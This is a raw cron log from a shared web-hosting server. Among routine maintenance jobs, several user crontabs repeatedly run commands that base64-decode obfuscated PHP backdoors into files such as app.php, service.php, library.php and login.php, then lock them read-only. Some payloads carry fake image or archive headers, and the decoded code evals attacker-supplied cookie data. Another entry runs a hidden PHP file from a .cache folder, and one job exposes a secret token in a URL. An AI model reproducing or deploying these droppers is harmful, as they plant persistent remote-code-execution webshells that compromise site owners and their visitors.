Jun  7 12:58:02 medusa CROND[12937]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:58:02 medusa CROND[12938]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:58:02 medusa CROND[12939]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:58:02 medusa CROND[12940]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:58:02 medusa CROND[12944]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:59:01 medusa CROND[14608]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:59:01 medusa CROND[14609]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:59:01 medusa CROND[14610]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:59:01 medusa CROND[14611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:59:01 medusa CROND[14612]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:59:01 medusa CROND[14613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:59:01 medusa CROND[14617]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:59:01 medusa CROND[14618]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:59:01 medusa CROND[14619]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:59:01 medusa CROND[14620]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:59:01 medusa CROND[14621]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:59:01 medusa CROND[14631]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16254]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:00:02 medusa CROND[16258]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 13:00:02 medusa CROND[16277]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:00:02 medusa CROND[16278]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16279]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:00:02 medusa CROND[16280]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16281]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:00:02 medusa CROND[16283]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:00:02 medusa CROND[16287]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 13:00:02 medusa CROND[16288]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:00:02 medusa CROND[16292]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:00:02 medusa CROND[16294]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16295]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:00:02 medusa CROND[16299]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:00:02 medusa CROND[16301]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:00:02 medusa CROND[16304]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:00:02 medusa CROND[16306]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16305]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
